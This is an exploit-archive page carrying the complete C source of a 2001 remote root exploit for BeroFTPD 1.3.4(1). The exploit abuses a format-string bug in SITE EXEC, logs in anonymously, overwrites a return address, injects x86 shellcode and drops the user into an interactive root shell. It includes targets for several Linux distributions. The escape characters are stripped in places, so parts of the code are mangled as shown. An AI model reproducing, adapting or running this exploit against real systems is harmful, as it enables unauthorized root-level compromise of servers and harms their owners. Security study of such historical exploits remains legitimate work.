[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BeroFTPD 1.3.4(1) Linux x86 Remote Root Exploit
# Published : 2001-05-08
# Author : qitest1
# Previous Title : MS Windows 2000 sp1/sp2 isapi .printer Extension Overflow Exploit (2)
# Next Title : MS Windows 2000 sp1/sp2 isapi .printer Extension Overflow Exploit


/*  
 *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit 
 *  by qitest1 - 5/05/2001
 *
 *  BeroFTPD is an ftpd derived from wuftpd sources. This code
 *  exploits the format bug of the site exec cmd, well known to be
 *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) 
 *  is the current version at the moment.    
 *  
 *  JUST SAMPLE CODE. For different platforms you have to try with
 *  different offsets for different retaddrs. You see.. =)   
 *
 *  Greets: Nail, Norby, Berserker.
 *  69 rulez.. ;P
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

struct targ
{
   int			def;
   char 		*descr;
   unsigned long int 	enbuf;
   int			dawlen;
};

struct targ target[]=
    {			
      {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
      {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12}, 
      {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6}, 
      {69, NULL, 0, 0}
    };

  /* 15 byte x86/linux PIC read() shellcode by lorian / teso
   */
unsigned char shellcode_read[] =
        "x33xdb"              /* xorl %ebx, %ebx      */
        "xf7xe3"              /* mull %ebx            */
        "xb0x03"              /* movb $3, %al         */
        "x8bxcc"              /* movl %esp, %ecx      */
        "x68xb2x00xcdx80"  /* push 0x80CDxxB2      */
        "xffxffxe4";         /* jmp  %esp            */

unsigned char shellcode[] =	/* Lam3rZ code */
        "x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0"
        "x31xdbx43x89xd9x41xb0x3fxcdx80xebx6b"
        "x5ex31xc0x31xc9x8dx5ex01x88x46x04x66"
        "xb9xffx01xb0x27xcdx80x31xc0x8dx5ex01"
        "xb0x3dxcdx80x31xc0x31xdbx8dx5ex08x89"
        "x43x02x31xc9xfexc9x31xc0x8dx5ex08xb0"
        "x0cxcdx80xfexc9x75xf3x31xc0x88x46x09"
        "x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfe"
        "xc8x88x46x04x31xc0x88x46x07x89x76x08"
        "x89x46x0cx89xf3x8dx4ex08x8dx56x0cxb0"
        "x0bxcdx80x31xc0x31xdbxb0x01xcdx80xe8"
        "x90xffxffxffx30x62x69x6ex30x73x68x31"
        "x2ex2ex31x31";

char 		  	fmtstr[1024];
int			sock;
int			sel;
int			offset;
unsigned long int       retloc;
unsigned long int 	bufaddr;
unsigned long int	tmpaddr;
	
void 		fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
void 		xpad_cat (unsigned char *fabuf, unsigned long int addr);
void 		retloc_find(void);
void 		shellami(int sock);
void		login(void);
void		usage(char *progname);
int 		conn2host(char *host, int port);

main(int argc, char *argv[])
{
char		rbuf[1024];
char		*host = NULL;
int 		cnt;

  printf("n  BeroFTPD 1.3.4(1) exploit by qitest1nn");
  if(argc == 1)
	usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
      host = strdup(optarg);
      break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }

  if(host == NULL)
	usage(argv[0]);

  printf("+Host: %sn  as: %sn", host, target[sel].descr);

  printf("+Connecting to %s...n", host);
  sock = conn2host(host, 21);
  printf("  connectedn");

  printf("+Receiving banner...n");
  recv(sock, rbuf, 1024, 0);
  printf("%s", rbuf);
  memset(rbuf, 0, 1024);
  printf("  receivedn");

  printf("+Logging in...n");
  login();
  printf("  logged inn");

  printf("+Searching retloc...n");
  retloc_find();
  printf("  found: %pn", retloc);

  printf("+Searching bufaddr...n");
  bufaddr = tmpaddr + target[sel].enbuf;
  printf("  found: %p + offset = ", bufaddr);
  bufaddr += offset;
  printf("%pn", bufaddr);  

  printf("+Preparing shellcode...n");
  shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
  printf("  shellcode readyn");

  printf("+Building fmtstr...n");
  fmtstr_build(bufaddr, retloc);
  printf("  fmtstr buildedn");  
  
  printf("+Sending fmtstr...n");
  send(sock, fmtstr, strlen(fmtstr), 0);
  printf("  fmtstr sentn");
  recv(sock, rbuf, 1024, 0);
  sleep(1);
  send(sock, shellcode, strlen(shellcode), 0);
  sleep(2);
  printf("+Entering love mode...n");  /* Nail teachs.. ;-) */
  shellami(sock);  

}

void
fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
{
int               i;
int		  eat = 136;
int               wlen = 428;
int               tow;
int               freespz;
char		  f[1024];
unsigned long int soul69 = 0x69696969;  /* That's amore.. =) */
unsigned char     retaddr[4];

  for(i = 0; i < 4; ++i)
	retaddr[i] = (bufaddr >> (i << 3)) & 0xff;

  wlen -= target[sel].dawlen;
  f[0] = 0;
  for(i = 0; i < eat; i++)
        strcat(f, "%.f");

  strcat(fmtstr, "SITE EXEC ");
  strcat(fmtstr, "  ");
  xpad_cat(fmtstr, retloc);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 1);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 2);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 3);
  strcat(fmtstr, f);
  strcat(fmtstr, "%x");

  /* Code by teso
   */
  tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;     
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;
  /* End here
   */

  freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1;
  for(i = 0; i < freespz ; i++)
	strcat(fmtstr, "x90");
  strcat(fmtstr, shellcode_read);

  strcat(fmtstr, "n");

}

  /* Code by teso
   */
void xpad_cat (unsigned char *fabuf, unsigned long int addr)
{
        int             i;
        unsigned char   c;

        for (i = 0 ; i <= 3 ; ++i) {
                switch (i) {
                case (0):
                        c = (unsigned char) ((addr & 0x000000ff)      );
                        break;
                case (1):
                        c = (unsigned char) ((addr & 0x0000ff00) >>  8);
                        break;
                case (2):
                        c = (unsigned char) ((addr & 0x00ff0000) >> 16);
                        break;
                case (3):
                        c = (unsigned char) ((addr & 0xff000000) >> 24);
                        break;
                }
                if (c == 0xff)
                        sprintf (fabuf + strlen (fabuf), "%c", c);

                sprintf (fabuf + strlen (fabuf), "%c", c);
        }

        return;
}
  /* End here
   */

void
retloc_find(void)
{
int		i;
char		rbuf[1024];
char		sbuf[1024];
char		*ptr;

  strcpy(sbuf, "SITE EXEC ");
  for(i = 0; i < 6; i++)
	strcat(sbuf, "%p ");
  strcat(sbuf, "n");
  send(sock, sbuf, strlen(sbuf), 0); 

  recv(sock, rbuf, 1024, 0);
  ptr = rbuf;
  for(i = 0; i < 5; i++)
	{
	  while(*ptr != ' ')
	  	ptr++;
	  ptr++;
	}
  ptr[strlen(ptr) - 2] = 'x00';	
  ptr[strlen(ptr) - 1] = 'x00';
  sscanf(ptr, "%p", &retloc);
  sscanf(ptr, "%p", &tmpaddr);
  retloc -= 0x40;

}

void
shellami(int sock)
{
int 		n;
char 		recvbuf[1024];
char		*cmd = "id; uname -an";
fd_set 		rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

int
conn2host(char *host, int port)
{
int 		sockfd;  
struct 		hostent *he;
struct 		sockaddr_in their_addr; 

  if ((he=gethostbyname(host)) == NULL)
	{ 
          herror("gethostbyname");
          exit(1);
	}
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
          perror("socket");
          exit(1);
	}

  their_addr.sin_family = AF_INET;     
  their_addr.sin_port = htons(port);   
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(their_addr.sin_zero), 8);     

  if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
	{
          perror("connect");
          exit(1);
	}
 
  return(sockfd);

}

void
login(void)
{
char		*user = "USER anonymousn";
char		*pass = "PASS guest@n";
char		rbuf[1024];

  send(sock, user, strlen(user), 0);
  recv(sock, rbuf, 1024, 0);
  memset(rbuf, 0, 1024);
  send(sock, pass, strlen(pass), 0);
  while(strstr(rbuf, "login ok") == NULL)
	{
	  memset(rbuf, 0, 1024);
	  recv(sock, rbuf, 1024, 0);
	}

}

void
usage(char *progname)
{
int		i = 0;
  
  printf("Usage: %s [options]n", progname);
  printf("Options:n"
	 "  -h hostnamen"
	 "  -t targetn"
	 "  -o offsetn"
	 "Available targets:n");
  while(target[i].def != 69)
	{ 
          printf("  %d) %sn", target[i].def, target[i].descr);
          i++;
	} 

  exit(1);

}


// www.Syue.com [2001-05-08]